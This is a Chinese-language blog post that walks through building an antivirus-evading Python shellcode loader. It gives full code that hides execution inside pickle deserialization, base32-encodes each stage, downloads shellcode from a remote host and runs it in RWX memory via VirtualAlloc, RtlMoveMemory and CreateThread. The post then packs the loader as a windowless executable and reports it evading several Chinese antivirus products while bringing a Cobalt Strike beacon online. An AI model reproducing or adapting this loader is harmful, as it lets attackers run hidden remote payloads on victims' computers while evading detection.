前言

前几天在看Python的shellcode加载器,在网上找了一个,结果加载器自身就过不了火绒,测试发现是火绒对关键语句进行了识别。

所以我们要想办法去掉加载器中明显的特征。

原理及实现

在绕过静态查杀方面,主要就是要隐藏特征,比较常见的就是各种混淆、加密,但加密后的代码到最终还是需要去执行它才行,代码执行这一个操作其实特征也是很明显的,像exec、eval、os.system、subprocess.Popen这种,一眼就能看出来。所以也要想办法隐藏执行这一步的特征,这里就可以利用反序列化。

下面我们来看一段Python反序列化的代码:

import subprocessimport cPickleclass gugu(object):    def __reduce__(self):        return (subprocess.Popen, (('calc.exe',),))ret = cPickle.dumps(gugu())print repr(ret)cPickle.loads(ret)

程序在执行完毕后输出了序列化后的值,并弹了个计算器,代码中__reduce__的定义如下:

__reduce__(self)

当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。__reduce__被定义之后,当对象被Pickle时就会被调用。它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。这个元组包含2到5个元素,其中包括:一个可调用的对象,用于重建对象时调用;一个参数元素,供那个可调用对象使用;被传递给 setstate 的状态(可选);一个产生被pickle的列表元素的迭代器(可选);一个产生被pickle的字典元素的迭代器(可选);

所以核心就是__reduce__这个魔法函数的返回值会在反序列化的时候被执行,那么我们提前将恶意代码放进__reduce__中,序列化时记录它的返回值,然后直接反序列化这段值就能执行恶意代码了,对杀软来说,整个代码在表面上就是执行反序列化的一个操作。

在反序列化的时候我测试发现能控制的有os.system、subprocess.Popen和eval,其中前两个是直接执行系统命令,但打包出的加载器大黑框去不掉,那就只能考虑用eval了,而eval只能执行单句,像加载器这种拥有多行代码的没法一次执行,所以最后采用将加载器的代码每一行都单独执行,将序列化后的值进行编码,最后依次解码反序列化即可执行加载器。

生成加载器的代码(很丑,轻喷):

import ctypes,cPickle,base64,urllib2class test1(object):        def __reduce__(self):            return(eval,("urllib2.urlopen('http://192.168.227.128').read().decode('hex')",))class test2(object):        def __init__(self, shellcode):            self.shellcode = shellcode        def __reduce__(self):            return(eval,("ctypes.windll.kernel32.VirtualAlloc(0,len(shellcode),0x1000,0x40)",))class test3(object):        def __init__(self, rwxpage, shellcode):            self.rwxpage = rwxpage            self.shellcode = shellcode        def __reduce__(self):            return(eval,("ctypes.windll.kernel32.RtlMoveMemory(rwxpage,ctypes.create_string_buffer(shellcode),len(shellcode))",))       class test4(object):        def __init__(self, rwxpage):            self.rwxpage = rwxpage        def __reduce__(self):            return(eval,("ctypes.windll.kernel32.CreateThread(0,0,rwxpage,0,0,0)",))            class test5(object):        def __init__(self, handle):            self.handle = handle        def __reduce__(self):            return(eval,("ctypes.windll.kernel32.WaitForSingleObject(handle,-1)",))            if __name__ == '__main__':    raw_shellcode = test1()    ser_shellcode = cPickle.dumps(raw_shellcode)    enb32_shellcode = base64.b32encode(ser_shellcode)    shellcode = cPickle.loads(base64.b32decode(enb32_shellcode))    raw_vir = test2(shellcode)    ser_vir = cPickle.dumps(raw_vir)    enb32_vir = base64.b32encode(ser_vir)    rwxpage = cPickle.loads(base64.b32decode(enb32_vir))          raw_rtl = test3(rwxpage, shellcode)    ser_rtl = cPickle.dumps(raw_rtl)    enb32_rtl = base64.b32encode(ser_rtl)    raw_handle=test4(rwxpage)    ser_handle = cPickle.dumps(raw_handle)    enb32_handle = base64.b32encode(ser_handle)    handle = cPickle.loads(base64.b32decode(enb32_handle))    raw_run = test5(handle)    ser_run = cPickle.dumps(raw_run)    enb32_run = base64.b32encode(ser_run)    output = '''import ctypes,cPickle,base64,urllib2e_shellcode = "{}"shellcode = cPickle.loads(base64.b32decode(e_shellcode))e_rwxpage="{}"rwxpage = cPickle.loads(base64.b32decode(e_rwxpage))e_code = "{}"cPickle.loads(base64.b32decode(e_code))e_handle = "{}"handle = cPickle.loads(base64.b32decode(e_handle))e_run = "{}"cPickle.loads(base64.b32decode(e_run))'''.format(enb32_shellcode, enb32_vir, enb32_rtl, enb32_handle, enb32_run)        with open('Loader.py','w') as f:        f.write(output)        f.close()

运行完毕后会生成一个加载器,生成的加载器代码:

import ctypes,cPickle,base64,urllib2e_shellcode = "MNPV6YTVNFWHI2LOL5PQUZLWMFWAU4BRBIUFGITVOJWGY2LCGIXHK4TMN5YGK3RIE5UHI5DQHIXS6MJZGIXDCNRYFYZDENZOGEZDQJZJFZZGKYLEFAUS4ZDFMNXWIZJIE5UGK6BHFERAU4BSBJ2HAMYKKJYDICRO"shellcode = cPickle.loads(base64.b32decode(e_shellcode))e_rwxpage="MNPV6YTVNFWHI2LOL5PQUZLWMFWAU4BRBIUFGJ3DOR4XAZLTFZ3WS3TENRWC423FOJXGK3BTGIXFM2LSOR2WC3CBNRWG6YZIGAWGYZLOFBZWQZLMNRRW6ZDFFEWDA6BRGAYDALBQPA2DAKJHBJYDECTUOAZQUUTQGQFC4==="rwxpage = cPickle.loads(base64.b32decode(e_rwxpage))e_code = "MNPV6YTVNFWHI2LOL5PQUZLWMFWAU4BRBIUFGJ3DOR4XAZLTFZ3WS3TENRWC423FOJXGK3BTGIXFE5DMJVXXMZKNMVWW64TZFBZHO6DQMFTWKLDDOR4XAZLTFZRXEZLBORSV643UOJUW4Z27MJ2WMZTFOIUHG2DFNRWGG33EMUUSY3DFNYUHG2DFNRWGG33EMUUSSJYKOAZAU5DQGMFFE4BUBIXA===="cPickle.loads(base64.b32decode(e_code))e_handle = "MNPV6YTVNFWHI2LOL5PQUZLWMFWAU4BRBIUFGJ3DOR4XAZLTFZ3WS3TENRWC423FOJXGK3BTGIXEG4TFMF2GKVDIOJSWCZBIGAWDALDSO54HAYLHMUWDALBQFQYCSJYKOAZAU5DQGMFFE4BUBIXA===="handle = cPickle.loads(base64.b32decode(e_handle))e_run = "MNPV6YTVNFWHI2LOL5PQUZLWMFWAU4BRBIUFGJ3DOR4XAZLTFZ3WS3TENRWC423FOJXGK3BTGIXFOYLJORDG64STNFXGO3DFJ5RGUZLDOQUGQYLOMRWGKLBNGEUSOCTQGIFHI4BTBJJHANAKFY======"cPickle.loads(base64.b32decode(e_run))

然后用PyInstaller打包成exe:

PyInstaller --noconsole --onefile old_loader\old_Loader.py

测试查杀效果

在虚拟机中将360杀毒、360安全卫士、火绒和腾讯电脑管家版本和病毒库升至最新:

然后断网依次查杀:

CS上线测试:

执行命令测试:

结语

大家在测试免杀的时候,虚拟机一定要做好快照,杀软升级到最新后要断网,待测试完毕后及时恢复快照(不用有什么侥幸心理),我之前就因为操作不当,导致样本被传到云上了。

关于免杀,我还有一些新思路,其中包括流量等方面的,关注我们的微信公众号,后续我们会继续分享。大家有什么其他想法,可以到公众号留言,欢迎交流~~~另外,初次写文有点紧张呢,文中可能有一些表述不对的地方,希望大家可以留言指正!

最后,祝大家周末愉快~

参考

https://pyzh.readthedocs.io/en/latest/python-magic-methods-guide.html

php5.5 反序列化利用工具_利用Python反序列化运行加载器实现免杀相关推荐

  1. python类加载器_利用Python反序列化运行加载器实现免杀

    前言 前几天在看Python的shellcode加载器,在网上找了一个,结果加载器自身就过不了火绒,测试发现是火绒对关键语句进行了识别. 所以我们要想办法去掉加载器中明显的特征. 原理及实现 在绕过静 ...

  2. java反序列化终极工具_检测java反序列化漏洞

    java反序列化终极测试工具是一款检测java反序列化漏洞工具,直接将Jboss.Websphere和weblogic的反序列化漏洞的利用集成到了一起.java反序列化漏洞已经被曝出一段时间了,其强大 ...

  3. python加载项向导_使用Python的win32com加载Excel加载项

    我从这里的各种问题中看到,如果使用以下方法从 Python打开Excel实例: xl = win32com.client.gencache.EnsureDispatch('Excel.Applicat ...

  4. [免杀]基于python的ipv4加载器

    文章目录 IPV4 将shellcode字节转为Ipv4格式 将Ipv4写入内存 创建进程 IPV4 IPv4是一种无连接的协议,操作在使用分组交换的链路层(如以太网)上.此协议会尽最大努力交付数据包 ...

  5. amba simple class驱动_学习笔记:class加载器和双亲委派模型

    类加载器 类加载器有四种 启动类加载器(Bootstrap ClassLoader) 负责加载 JAVA_HOMElib ⽬录中的,或通过-Xbootclasspath参数指定路径中的且被虚拟机认可( ...

  6. 利用Visual Studio Project自动将数据加载到SQL Server数据库中

    介绍 (Introduction) A few months back, I encountered an interesting challenge at a client site. For th ...

  7. 利用jQuery的deferred异步按顺序加载JS文件

    前段时间看了阮一峰的jQuery的deferred对象详解一文,对jQuery中的deferred的用法了一些了解,今天看到园子里的一篇文章:关于重构JS前端框架的失败经验(顺便怀念那些死去的代码), ...

  8. python虚拟机直接加载字节码运行程序_第二章 python如何运行程序

    一.python解释器介绍 Python解释器是一种让程序运行起来的程序.实际上,解释器是代码与机器的计算机硬件之间的软件逻辑层. 当Python包安装在机器上后,它包含了一些最小化的组件:一个解释器 ...

  9. ShellCode_Loader - MsfCobaltStrike免杀ShellCode加载器加密工具

    ShellCode_Loader - Msf&CobaltStrike免杀ShellCode加载器&加密工具 文章目录 ShellCode_Loader - Msf&Cobal ...

最新文章

  1. webpack 优化笔记
  2. Linux Systemcall Int0x80方式、Sysenter/Sysexit Difference Comparation
  3. 网易二面:Kafka为什么吞吐量大、速度快?
  4. lintcode-171-乱序字符串
  5. android 取色器_老板夸我PPT配色高级,以为我学过设计,其实我都是从Logo取色
  6. mybatis02--增删改查
  7. Gradle Build速度加快终极方法(android studio)
  8. python 3的33个保留字列表_python 33个保留字是什么意思
  9. ssd windows未能启动服务器,ssd安装win10无法启动你安装方法对吗?来看一下
  10. LSTM模型结合LDA对序列性文本建模 阅读笔记 2017 ICML
  11. 判断本地和云端通讯录是否一致
  12. html快照抓取,完整网页快照抓取
  13. oracle创建参数文件,Oracle的参数文件
  14. 函数的梯度方向和切线方向_梯度是函数变化最快的方向
  15. python3可视化窗口操作_Python3.x+PyQtChart实现数据可视化界面(PyQtChart绘图;还有保存图片)和业务逻辑分离案例01_自己写的,有UI界面源代码...
  16. android自定义viewgroup实现等分格子布局
  17. 读书笔记:普林斯顿微积分读本
  18. python爬取拼多多数据 verifyauthtoken_拼多多TOKEN授权
  19. 立即收藏!2019前端工程师如何应对裁员潮?
  20. oracle11g64位怎么用sql,PLSQLDeveloper连接Oracle11g64位数据库配置详解(图文)

热门文章

  1. mysql存储过程备份_mysql-数据备份与存储过程
  2. 邮件审批工作流实现方案
  3. 自动编码器python_算法进阶(一)之自动编码器
  4. 唐山劳动技师有计算机专业,唐山劳动技师等级技术学院
  5. C语言 · 关联矩阵
  6. 【转】基于 CPU 实施高效且快速的医疗影像分析
  7. VSCode运行CPP单文件
  8. 一、mac安装jmeter
  9. css会对网站排名有影响吗,网站是如何推广的?DIVCSS网页相似太多影响排名?
  10. ××语录@火影忍者海贼王--4句话